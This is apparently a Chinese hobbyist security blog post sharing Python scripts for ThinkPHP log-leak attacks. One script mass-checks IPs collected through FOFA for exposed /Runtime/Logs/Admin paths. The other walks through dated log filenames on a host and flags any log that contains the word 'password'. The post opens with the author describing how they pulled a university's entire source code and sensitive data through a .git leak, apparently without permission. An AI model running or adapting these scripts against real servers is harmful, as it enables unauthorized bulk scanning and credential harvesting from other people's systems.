題記
本來開心的我有些不開心了,哎,本來挖了個電子科技大學的.git泄露,我把整站源碼都下載下來了,還有好多敏感信息,可能我動靜太大了,結果第二天服務器直接關了,不知道我的證書還有沒有。
還有我的cnvd審核好慢啊,不知道能不能過,哎,理性很豐滿,現實很骨感啊。
前情提要
牢騷發完了,接着學習了。上次寫到利用腳本在fofa批量收集ip,文章地址:http://cnblogs.com/sunny11/p/14596343.html
當我們收集完ip后就應該漏洞驗證了,這次例子接上次的thinkphp的網站ip整理,整理后開始驗證是否存在日志泄露。眾所周知,thinkphp日志主要路徑為/Application/Runtime/Logs/Admin與/Runtime/Logs/Admin,當我們的路徑為這個並且返回403的時候,很有可能存在這個漏洞了(當然有的站點可能返回200把所有目錄全部爆出來,此次不在我們考慮范圍內),我這個是加入了我自己的整個想法,分成了通過狀態碼判斷是否有漏洞,發現有漏洞后分為把ip存在文本還是把路徑存在文本。
漏洞探測代碼(以thinkphp為例子)
原理:代碼注釋寫的很清楚了,可以通過#號注釋完成你想要的結果。
從ip.txt提取ip,拼接路徑后看返回訪問碼,返回碼對的話就把ip或者完整路徑打印到vlun.txt。
import requests import time print("如果想運行的話,首先你要把想掃描的ip放到ip.txt中") payload_o='/Application/Runtime/Logs/Admin' payload_t='/Runtime/Logs/Admin' print("最后的結果保存在vlun.txt") for ip in open('ip.txt'): # 把換行利用正則換成空格 ip=ip.replace('\n','') ipo=ip+payload_o ipt=ip+payload_t # 容錯處理 try: vlun_o=requests.get(ipo).status_code vlun_t=requests.get(ipt).status_code #if vlun_o==403 or vlun_o==200: # if vlun_o==200: if vlun_o == 403: print('find it->'+ipo+'狀態碼為:'+str(vlun_o)) #如果里面想輸入漢字的話一定要編碼 with open(r'vlun.txt','a+',encoding='utf-8') as f: # 嘗試讀取爆出403的網站保存格式最后為ip------狀態碼為:403 #f.write(ipo+'---------'+'狀態碼為:'+str(vlun_o)+'\n') # 嘗試讀取爆出403的網站保存格式最后為ip f.write(ip+ '\n') f.close() #if vlun_t==403 or vlun_t==200: #if vlun_t==200: if vlun_t == 403: print('find it->'+ipt+'狀態碼為:'+str(vlun_t)) with open(r'vlun.txt','a+',encoding='utf-8') as f: # 嘗試讀取爆出403的網站保存格式最后為ip------狀態碼為:403 #f.write(ipt+'---------'+'狀態碼為:'+str(vlun_t)+'\n') #嘗試讀取爆出403的網站保存格式最后為ip f.write(ip + '\n') f.close() time.sleep(0.5) except Exception as e: pass
運行過程截圖:
這里說明一下為什么分為輸出ip與完整路徑。
只輸出ip的話可以利用腳本跑日志,配合零組里腳本極佳。
輸出完整路徑的話可以手工進行下一步探測,方便查看內容,活躍的站幾乎天天有日志,不活躍的站點也沒探測的必要。
批量跑日志腳本
判斷出有漏洞批量跑日志的腳本如下:
#!/usr/bin/env python # -*- coding:utf-8 -*- import time import datetime import requests import ssl from urllib3 import disable_warnings ssl._create_default_https_context = ssl._create_unverified_context disable_warnings() headers = { 'User-Agent': 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko)', } #不同cms的日志位置可能不一樣,自己添加 target_dict = {"xxxcms":['/Runtime/Logs/Admin/'] } def time_increase(begin_time, days=1): bg = datetime.datetime.strptime(begin_time, '%Y-%m-%d') delta = datetime.timedelta(days=days) date_increase = (bg + delta).strftime("%Y-%m-%d") return date_increase def formmat_time(time_str): bg = datetime.datetime.strptime(time_str, '%Y-%m-%d') fromat_time = bg.strftime("%Y_%m_%d")[2:] return fromat_time def fuzz(time_str): for i in target_dict['xxxcms']: #要爆破的url url = "https://xxx/Application"+i+"{0}.log".format(time_str) try: res = requests.get(url, headers=headers, stream=True,verify=False,timeout=5) if res.status_code == 200: print("log文件:{0}".format(url)) # f = open("{0}.log".format(time_str), "wb+") # for chunk in res.iter_content(chunk_size=512): # if chunk: # f.write(chunk) # f.flush() # f.close() except Exception as e: print(url,e) def start(): #默認截至日期是今天,開始時間自己設置 end_time = datetime.datetime.now().strftime("%Y-%m-%d") start_time = "2020-05-10" time_str = None while True: if not time_str: time_str = start_time fuzz(formmat_time(time_str)) if time_str == end_time: break time_str = time_increase(time_str) start()
運行結果:
腳本修改(添加查看是否有密碼功能)(2021/03/31更新)
#!/usr/bin/env python # -*- coding:utf-8 -*- import time import datetime import requests import ssl from urllib3 import disable_warnings ssl._create_default_https_context = ssl._create_unverified_context disable_warnings() headers = { 'User-Agent': 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko)', } #不同cms的日志位置可能不一樣,自己添加 target_dict = {"xxxcms":['/Runtime/Logs/Admin/'] } def time_increase(begin_time, days=1): bg = datetime.datetime.strptime(begin_time, '%Y-%m-%d') delta = datetime.timedelta(days=days) date_increase = (bg + delta).strftime("%Y-%m-%d") return date_increase def formmat_time(time_str): bg = datetime.datetime.strptime(time_str, '%Y-%m-%d') fromat_time = bg.strftime("%Y_%m_%d")[2:] return fromat_time def fuzz(time_str): for i in target_dict['xxxcms']: #要爆破的url url = "http://xxx/"+i+"{0}.log".format(time_str) try: res = requests.get(url, headers=headers, stream=True,verify=False,timeout=5) result = requests.get(url).content.decode('utf-8') if res.status_code == 200: print("log文件:{0}".format(url)) # f = open("{0}.log".format(time_str), "wb+") # for chunk in res.iter_content(chunk_size=512): # if chunk: # f.write(chunk) # f.flush() # f.close() if 'password' in result: print("log文件:{0}".format(url)+"-------------->this is password") except Exception as e: print(url,e) def start(): #默認截至日期是今天,開始時間自己設置 end_time = datetime.datetime.now().strftime("%Y-%m-%d") start_time = "2021-01-10" time_str = None while True: if not time_str: time_str = start_time fuzz(formmat_time(time_str)) if time_str == end_time: break time_str = time_increase(time_str) start()
拓展
我在學習后對代碼進行了魔改,終於改成滿意的模樣了。其實原理都是相通的,像這種通過探測路徑找漏洞的只要改改路徑就能用,發數據包的我們可以加上請求什么的。有基礎當然很簡單了,更復雜的話我們可以把代碼定義成函數,直接調用函數。